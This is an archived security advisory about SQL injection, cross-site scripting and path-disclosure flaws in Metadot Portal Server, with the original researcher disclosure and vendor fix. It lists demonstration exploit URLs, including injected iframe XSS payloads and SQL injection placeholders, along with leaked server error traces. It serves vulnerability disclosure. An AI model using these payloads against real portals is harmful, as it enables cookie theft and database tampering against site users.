Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
Metadot Portal Server Input Validation Holes Permit SQL Injection and Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1008747 |
|
SecurityTracker URL: http://securitytracker.com/id/1008747
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jan 16 2004
|
Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 5.6.5.4b5 and prior versions
|
Description:
Several vulnerabilities were reported in the Metadot Portal Server. A remote user can inject SQL commands. A remote user can conduct cross-site scripting attacks.
JeiAr of the GulfTech Security Research Team reported that the software does not filter several user-supplied input variables, allowing for SQL injection and cross-site scripting attacks.
It is reported that the software does not properly filter the 'id' and 'key' variables. A remote user may be able to execute SQL commands on gain information about the system.
Some demonstration exploit URLs are provided:
/index.pl?isa=Session&op=auto_login&new_user=&key='[Problem]
/index.pl?id=[Evil_Query]
/index.pl?iid=[Evil_Query]
/index.pl?isa=Session&op=auto_login&new_user=&key=[Evil_Query]
/index.pl?iid=[ValidID]&isa=Discussion&op=
/index.pl?isa=blah
It is also reported that a remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the vulnerable software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstratoin exploit URLs are provided:
/index.pl?isa=XSS<iframe%20src=http://www.gulftech.org>
/userchannel.pl?id=435&isa=NewsChannel&redirect=1&op="><iframe%20src=http://www.gulftech.org>
/index.pl?iid='"><iframe%20src=http://www.gulftech.org>
|
Impact:
A remote user can inject SQL commands to be executed by the underlying database.
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Metadot Portal Server software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution:
The vendor has released a fixed version (5.6.5.4), available at:
http://www.metadot.com/metadot/index.pl?iid=2504&isa=Category
[Editor's note: A more recent version (5.6.6) has since been released and reportedly contains an additional security fix related to input validation.]
|
Vendor URL: www.metadot.com/metadot/index.pl?id=2037 (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: 16 Jan 2004 01:10:47 -0000
Subject: Multiple MetaDot Vulnerabilities [ All Versions ]
|
Vendor : Metadot Corporation
URL : http://www.metadot.com
Version : MetaDot Portal 5.6.5.4b5 && Earlier [ All Versions ]
Risk : Multiple Vulnerabilities
Description:
Metadot is a popular open source portal software (GPL) recognized for its revolutionary
ease-of-use. It provides content management like file, page and link management, collaboration
features like discussion forums and polls and personalization like My Yahoo. It is powered by
Perl && MySQL. Users range from home users to government, banks, universities and even NASA ;)
SQL Injection Vulnerability:
It may be possible for an attacker to influence SQL queries by passing unexpected data to
certain variables including the "id" and "key" variable. Even if an attacker is not successful
with influencing an SQL query he can cause the outputted error message to execute script into
an unsuspecting users browser thus causing a Cross Site Scripting attack. Also, the SQL error
messages reveal a great deal of data about the server. Below is an example error message. The
URI used to create this error was index.pl?isa=Session&op=auto_login&new_user=&key='[Problem]
--[ Begin Error Message ]--------------------------------------------------------------------
sqlSelect: SQL statement:<BR><BR>SELECT userid, lastonline, sessioninfo FROM sessions WHERE
sessionid=''[Problem]'
Error: You have an error in your SQL syntax near '[Problem]' ' at line 1<BR><BR>
at /home/sharem/metadot/metadot/index.pl
DBAccess::DBIObj::sqlSelect('DBAccess::MySQL=HASH(0x85de6a8)', 'userid, lastonline, sessioninfo',
'sessions', 'sessionid=\'\'[Problem]\'') called at /home/sharem/metadot/metadot/DBAccess.pm line 129
DBAccess::sqlSelect('DBAccess', 'userid, lastonline, sessioninfo', 'sessions', 'sessionid=\'\'[Problem]\'')
called at /home/sharem/metadot/metadot/Session.pm line 508 Session::_initialize('Session=HASH(0xb1be85c)',
'\'[Problem]') called at /home/sharem/metadot/metadot/Session.pm line 161 Session::restore('Session',
'\'[Problem]') called at /home/sharem/metadot/metadot/Metadot/SessionHandler/CookieSessionHandler.pm line
97 Metadot::SessionHandler::CookieSessionHandler::restore_session('Metadot::SessionHandler::
CookieSessionHandler=HASH(0x8c443f8)', '\'[Problem]')called at /home/sharem/metadot/metadot/Metadot/
Authenticator.pm line 63 Metadot::Authenticator::authenticate('Metadot::Authenticator::UserPassAuthenticator
=HASH(0x9d34338)') called at /home/sharem/metadot/metadot/Portal.pm line 3863 Portal::_web_init('Portal
=HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Metadot/Implementations/Portal/Default.pm line 52
Metadot::Implementations::Portal::Default::initialize('Metadot::Implementations::Portal::Default', 'Portal
=HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm line 2830 Portal::_initialize('Portal
=HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm line 160 Portal::new('Portal', 1) called
at /home/sharem/metadot/metadot/index.pl line 43 Apache::ROOT::metadot::index_2epl::handler('Apache=SCALAR
(0xb421470)') called at /usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 eval
{...} called at /usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 Apache::Registry
::handler('Apache=SCALAR(0xb421470)') called at /dev/null line 0 eval {...} called at /dev/null line 0
---------------------------------------------------------------------------------------------
Below are some examples URI's that will allow an attacker to influence queries, gather info or XSS.
/index.pl?id=[Evil_Query]
/index.pl?iid=[Evil_Query]
/index.pl?isa=Session&op=auto_login&new_user=&key=[Evil_Query]
Information Disclosure && Path Disclosure:
There is a great deal of information given up by interrupting the SQL query, but can also be caused
in other ways than the previously mentioned. Lets look at /index.pl?iid=[ValidID]&isa=Discussion&op=
Where [ValidID] is should be a valid id number such as 1000 or whatever it may be.
--[ Begin Error Message ]--------------------------------------------------------------------
Software error:
must provide operation name at /home/sharem/metadot/metadot/Auditable.pm line 196
Auditable::is_allowed_to_do('Discussion=HASH(0xae19218)', '', 'Metadot::User::FlexUser=HASH(0xb414f70)', 1)
called at /home/sharem/metadot/metadot/index.pl line 232 Apache::ROOT::metadot::index_2epl::handler
('Apache=SCALAR(0xacf893c)') called at /usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm
line 149 eval {...} called at /usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149
Apache::Registry::handler('Apache=SCALAR(0xacf893c)') called at /dev/null line 0
eval {...} called at /dev/null line 0
---------------------------------------------------------------------------------------------
As you can see that will give you the server path, perl version and several other interesting bits of
information. Path can also be disclosed by a bogus value in the "isa" variable. /index.pl?isa=blah
Cross Site Scripting:
There are a number of potential cross site scripting issues in MetaDot. Below are some examples
/index.pl?isa=XSS<iframe%20src=http://www.gulftech.org>
/userchannel.pl?id=435&isa=NewsChannel&redirect=1&op="><iframe%20src=http://www.gulftech.org>
/index.pl?iid='"><iframe%20src=http://www.gulftech.org>
Solution:
The MetaDot team have addressed this issue and an update was supposed to be released on Thursday the
8th of January. Users of the MetaDot portal system are encouraged to upgrade immediately. Users can
get the necessary security fixes provided by MetaDot Corporation at the link below.
http://www.metadot.com/metadot/index.pl?iid=2632&isa=Category
Credits:
Credits go to JeiAr of the GulfTech Security Research Team.
http://www.gulftech.org
|
|
Go to the Top of This SecurityTracker Archive Page
|